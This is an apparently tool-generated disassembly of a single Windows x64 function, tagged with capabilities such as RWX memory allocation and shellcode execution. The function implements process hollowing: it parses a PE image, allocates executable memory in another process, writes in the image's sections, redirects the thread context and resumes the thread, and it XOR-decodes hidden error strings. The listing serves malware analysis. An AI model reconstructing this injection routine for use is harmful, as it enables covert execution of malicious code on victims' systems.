Function at 0x180077960
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x60], xmm4
xor eax, eax
mov qword [rbp - 0x50], rax
mov rbx, rcx
mov rsi, qword [rbx + 0x10]
mov rax, rsi
cmp word [rax], 0x5a4d
je 0x18007799d
xor ecx, ecx
jmp 0x1800779ae
movsxd rcx, dword [rax + 0x3c]
cmp word [rsi + rcx + 0x18], 0x20b
sete cl
movzx ecx, cl
mov byte [0x1801ed7a0], cl
xor edi, edi
xor r14d, r14d
movzx ecx, byte [0x1801ed7a0]
test ecx, ecx
jne 0x1800779cf
movsxd rdi, dword [rax + 0x3c]
add rdi, rsi
mov ecx, dword [rdi]
jmp 0x1800779d9
movsxd r14, dword [rax + 0x3c]
add r14, rsi
mov ecx, dword [r14]
cmp ecx, 0x4550
jne 0x180078423
call fcn.18011a4f0
mov ecx, 0x60
mov edx, 0x40
cmp eax, 8
cmovne ecx, edx
call fcn.180078570
mov rsi, rax
call fcn.18011a4f0
mov ecx, 0x18
mov edx, 0x10
cmp eax, 8
cmovne ecx, edx
movsxd rcx, ecx
call fcn.1800bb1e0
mov qword [rbp - 0x40], rax
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbx + 8]
lea rdx, [0x180123a28]
xor r8d, r8d
xor r9d, r9d
call fcn.180078940
test eax, eax
je 0x180078330
test rsi, 0xffffffffffff0000
je 0x180077a9e
mov rcx, rsi
mov qword [rbp - 0x98], rcx
lea rcx, [rbp - 0x88]
call fcn.1800060d0
mov rcx, qword [rbp - 0x98]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0x88]
call fcn.180006120
cmp byte [0x1801ed7a0], 0
je 0x180077aad
mov rsi, qword [r14 + 0x30]
jmp 0x180077ab0
mov esi, dword [rdi + 0x34]
mov rax, qword [rbp - 0x40]
mov r15, qword [rax]
call fcn.18011a4f0
mov ecx, 8
mov edx, 4
cmp eax, 8
cmovne ecx, edx
movsxd rcx, ecx
mov rax, qword [rbp - 0x40]
mov r13, qword [rax + rcx]
mov rcx, r15
mov rdx, rsi
call fcn.180078b30
test r15, r15
je 0x18007827e
test r13, r13
je 0x18007827e
movzx ecx, byte [0x1801ed7a0]
test ecx, ecx
je 0x180077b0e
mov r8d, dword [r14 + 0x50]
mov r12d, dword [r14 + 0x54]
movzx eax, word [r14 + 6]
jmp 0x180077b1a
mov r8d, dword [rdi + 0x50]
mov r12d, dword [rdi + 0x54]
movzx eax, word [rdi + 6]
mov dword [rbp - 0x44], eax
test ecx, ecx
je 0x180077b27
mov r10d, dword [r14 + 0x28]
jmp 0x180077b2b
mov r10d, dword [rdi + 0x28]
mov dword [rbp - 0x48], r10d
mov dword [rsp + 0x20], 0x40
mov rcx, r15
mov qword [rbp - 0x98], rcx
mov rdx, rsi
mov qword [rbp - 0xa0], rdx
mov dword [rbp - 0x8c], r8d
mov r9d, 0x3000
mov dword [rbp - 0x90], r9d
lea rcx, [rbp - 0x88]
call fcn.1800060d0
mov rcx, qword [rbp - 0x98]
mov rdx, qword [rbp - 0xa0]
mov r8d, dword [rbp - 0x8c]
mov r9d, dword [rbp - 0x90]
call sub.KERNEL32.dll_VirtualAllocEx
mov rbx, rax
lea rcx, [rbp - 0x88]
call fcn.180006120
mov rsi, qword [rbp + 0x10]
mov r8, qword [rsi + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
mov rdx, rbx
mov r9d, r12d
call fcn.180078ba0
test eax, eax
jne 0x1800781c6
add r14, 0x108
add rdi, 0xf8
cmp byte [0x1801ed7a0], 0
cmove r14, rdi
xor edi, edi
mov r12d, dword [rbp - 0x44]
test r12d, r12d
jle 0x180077c2a
mov edx, dword [r14 + 0xc]
add rdx, rbx
mov r8, qword [rsi + 0x10]
mov ecx, dword [r14 + 0x14]
add r8, rcx
mov r9d, dword [r14 + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
call fcn.180078ba0
test eax, eax
jne 0x18007810e
add r14, 0x28
inc edi
cmp edi, r12d
jl 0x180077beb
mov ecx, 0x4d0
mov eax, 0x2cc
cmp byte [0x1801ed7a0], 0
cmove ecx, eax
movsxd rcx, ecx
call fcn.1800bb1e0
mov rsi, rax
cmp byte [0x1801ed7a0], 0
jne 0x180077c5a
mov dword [rsi], 0x10002
jmp 0x180077c61
mov dword [rsi + 0x30], 0x10001b
cmp byte [0x1801ed7a0], 0
je 0x180077c7e
mov rcx, r13
mov rdx, rsi
call fcn.180078a50
test eax, eax
jne 0x180077c91
jmp 0x180077d96
mov rcx, r13
mov rdx, rsi
call fcn.180078ab0
test eax, eax
je 0x180078060
mov edi, dword [rsi + 0xa4]
mov r14, qword [rsi + 0x88]
mov rcx, rbx
call fcn.18008a6d0
add r14, 0x10
add edi, 8
movsxd rcx, edi
cmp byte [0x1801ed7a0], 0
mov rdx, rcx
cmovne rdx, r14
mov ecx, dword [rax + 8]
mov r9d, ecx
xor r8d, r8d
mov qword [rbp - 0x60], r8
mov dword [rbp - 0x50], r8d
mov qword [rbp - 0x60], rax
test ecx, ecx
je 0x180077ce0
add rax, 0x10
mov r8, rax
jmp 0x180077ce3
xor r8d, r8d
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
call fcn.180078ba0
test eax, eax
sete cl
movzx ecx, cl
xor edx, edx
mov qword [rbp - 0x60], rdx
test ecx, ecx
je 0x180077fae
cmp byte [0x1801ed7a0], 0
jne 0x180077d22
mov ecx, dword [rbp - 0x48]
add rcx, rbx
mov qword [rsi + 0xb0], rcx
jmp 0x180077d2f
mov ecx, dword [rbp - 0x48]
add rcx, rbx
mov qword [rsi + 0x80], rcx
cmp byte [0x1801ed7a0], 0
je 0x180077d4c
mov rcx, r13
mov rdx, rsi
call fcn.180078600
test eax, eax
jne 0x180077d5f
jmp 0x180077e48
mov rcx, r13
mov rdx, rsi
call fcn.180078660
test eax, eax
je 0x180077efe
mov rcx, r13
mov qword [rbp - 0xa0], rcx
lea rcx, [rbp - 0x88]
call fcn.1800060d0
mov rcx, qword [rbp - 0xa0]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0x88]
call fcn.180006120
mov qword [rbp - 0x58], r15
jmp 0x1800783eb
lea rcx, [0x180143198]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x2d
mov r8d, 0x7fffffff
call fcn.1800a9260
xor esi, esi
lea rax, [0x180124678]
movzx ecx, word [rax + rsi*2 + 0xc]
movabs rdx, 0x5b05b05b05b05b1
mov eax, esi
mul rdx
imul eax, edx, 0x2d
mov edx, esi
sub edx, eax
cmp edx, 0x2d
jae 0x180077ef8
movabs rdx, 0x5b05b05b05b05b1
mov eax, esi
mul rdx
imul edx, edx, 0x2d
mov eax, esi
sub eax, edx
mov edx, eax
lea rax, [0x1801305b0]
movzx edx, word [rax + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9840
inc esi
cmp esi, 0x2d
jl 0x180077dba
mov rcx, rbx
call fcn.1800a9320
mov rbx, rax
lea rcx, [0x18013f760]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088350
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143198]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x1c
mov r8d, 0x7fffffff
call fcn.1800a9260
xor esi, esi
lea rdx, [0x180124098]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, esi
shr ecx, 2
imul rcx, rcx, 0x24924925
shr rcx, 0x20
imul ecx, ecx, 0x1c
mov eax, esi
sub eax, ecx
cmp eax, 0x1c
jae 0x180077ef8
mov ecx, esi
shr ecx, 2
imul rcx, rcx, 0x24924925
shr rcx, 0x20
imul ecx, ecx, 0x1c
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x18012dd90]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9840
inc esi
cmp esi, 0x1c
jl 0x180077e6c
mov rcx, rbx
call fcn.1800a9320
mov rbx, rax
lea rcx, [0x18013f760]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088350
mov rcx, rsi
call fcn.1800049c0
int3
call fcn.1800c4b60
int3
lea rcx, [0x180143198]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x1c
mov r8d, 0x7fffffff
call fcn.1800a9260
xor esi, esi
lea rdx, [0x1801261e0]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, esi
shr ecx, 2
imul rcx, rcx, 0x24924925
shr rcx, 0x20
imul ecx, ecx, 0x1c
mov eax, esi
sub eax, ecx
cmp eax, 0x1c
jae 0x180077ef8
mov ecx, esi
shr ecx, 2
imul rcx, rcx, 0x24924925
shr rcx, 0x20
imul ecx, ecx, 0x1c
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x18013a350]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9840
inc esi
cmp esi, 0x1c
jl 0x180077f22
mov rcx, rbx
call fcn.1800a9320
mov rbx, rax
lea rcx, [0x18013f760]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088350
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143198]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x37
mov r8d, 0x7fffffff
call fcn.1800a9260
xor esi, esi
lea rax, [0x180125e18]
movzx ecx, word [rax + rsi*2 + 0xc]
movabs rdx, 0x4a7904a7904a791
mov eax, esi
mul rdx
imul eax, edx, 0x37
mov edx, esi
sub edx, eax
cmp edx, 0x37
jae 0x180077ef8
movabs rdx, 0x4a7904a7904a791
mov eax, esi
mul rdx
imul edx, edx, 0x37
mov eax, esi
sub eax, edx
mov edx, eax
lea rax, [0x1801392a0]
movzx edx, word [rax + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9840
inc esi
cmp esi, 0x37
jl 0x180077fd2
mov rcx, rbx
call fcn.1800a9320
mov rbx, rax
lea rcx, [0x18013f760]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088350
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143198]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x32
mov r8d, 0x7fffffff
call fcn.1800a9260
xor esi, esi
lea rdx, [0x180123ca8]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, esi
imul rcx, rcx, 0x51eb851f
shr rcx, 0x24
imul ecx, ecx, 0x32
mov eax, esi
sub eax, ecx
cmp eax, 0x32
jae 0x180077ef8
mov ecx, esi
imul rcx, rcx, 0x51eb851f
shr rcx, 0x24
imul ecx, ecx, 0x32
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x1801275e8]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9840
inc esi
cmp esi, 0x32
jl 0x180078084
mov rcx, rbx
call fcn.1800a9320
mov rbx, rax
lea rcx, [0x18013f760]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088350
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143198]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x28
mov r8d, 0x7fffffff
call fcn.1800a9260
xor esi, esi
lea rdx, [0x180126810]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x25
lea ecx, [rcx + rcx*4]
shl ecx, 3
mov eax, esi
sub eax, ecx
cmp eax, 0x28
jae 0x180077ef8
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x25
lea ecx, [rcx + rcx*4]
shl ecx, 3
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x18013a680]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9840
inc esi
cmp esi, 0x28
jl 0x180078132
mov rcx, rbx
call fcn.1800a9320
mov rbx, rax
lea rcx, [0x18013f760]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088350
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143198]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x28
mov r8d, 0x7fffffff
call fcn.1800a9260
xor esi, esi
lea rdx, [0x1801265b8]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x25
lea ecx, [rcx + rcx*4]
shl ecx, 3
mov eax, esi
sub eax, ecx
cmp eax, 0x28
jae 0x180077ef8
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x25
lea ecx, [rcx + rcx*4]
shl ecx, 3
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x18013a1a0]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9840
inc esi
cmp esi, 0x28
jl 0x1800781ea
mov rcx, rbx
call fcn.1800a9320
mov rbx, rax
lea rcx, [0x18013f760]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088350
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143198]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x26
mov r8d, 0x7fffffff
call fcn.1800a9260
xor esi, esi
lea rdx, [0x1801246e8]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, esi
shr ecx, 1
imul rcx, rcx, 0x6bca1af3
shr rcx, 0x23
imul ecx, ecx, 0x26
mov eax, esi
sub eax, ecx
cmp eax, 0x26
jae 0x180077ef8
mov ecx, esi
shr ecx, 1
imul rcx, rcx, 0x6bca1af3
shr rcx, 0x23
imul ecx, ecx, 0x26
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x1801376d0]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9840
inc esi
cmp esi, 0x26
jl 0x1800782a2
mov rcx, rbx
call fcn.1800a9320
mov rbx, rax
lea rcx, [0x18013f760]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088350
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143198]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x18
mov r8d, 0x7fffffff
call fcn.1800a9260
xor esi, esi
lea rdx, [0x180123c60]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, 0xaaaaaaab
mov eax, esi
imul rcx, rax
shr rcx, 0x24
lea ecx, [rcx + rcx*2]
shl ecx, 3
mov eax, esi
sub eax, ecx
cmp eax, 0x18
jae 0x180077ef8
mov ecx, 0xaaaaaaab
mov eax, esi
imul rcx, rax
shr rcx, 0x24
lea ecx, [rcx + rcx*2]
shl ecx, 3
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x180128dc0]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9840
inc esi
cmp esi, 0x18
jl 0x180078354
mov rcx, rbx
call fcn.1800a9320
mov rbx, rax
lea rcx, [0x18013f760]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088350
mov rcx, rsi
call fcn.1800049c0
int3
mov rcx, rsp
call fcn.18007852c
nop
mov rax, qword [rbp - 0x58]
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x180143198]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x14
mov r8d, 0x7fffffff
call fcn.1800a9260
xor esi, esi
lea rdx, [0x180123a40]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x24
lea ecx, [rcx + rcx*4]
shl ecx, 2
mov eax, esi
sub eax, ecx
cmp eax, 0x14
jae 0x1800784d7
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x24
lea ecx, [rcx + rcx*4]
shl ecx, 2
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x18012db00]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9840
inc esi
cmp esi, 0x14
jl 0x180078447
mov rcx, rbx
call fcn.1800a9320
mov rbx, rax
lea rcx, [0x18013f760]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088350
mov rcx, rsi
call fcn.1800049c0
int3
call fcn.1800c4b60
int3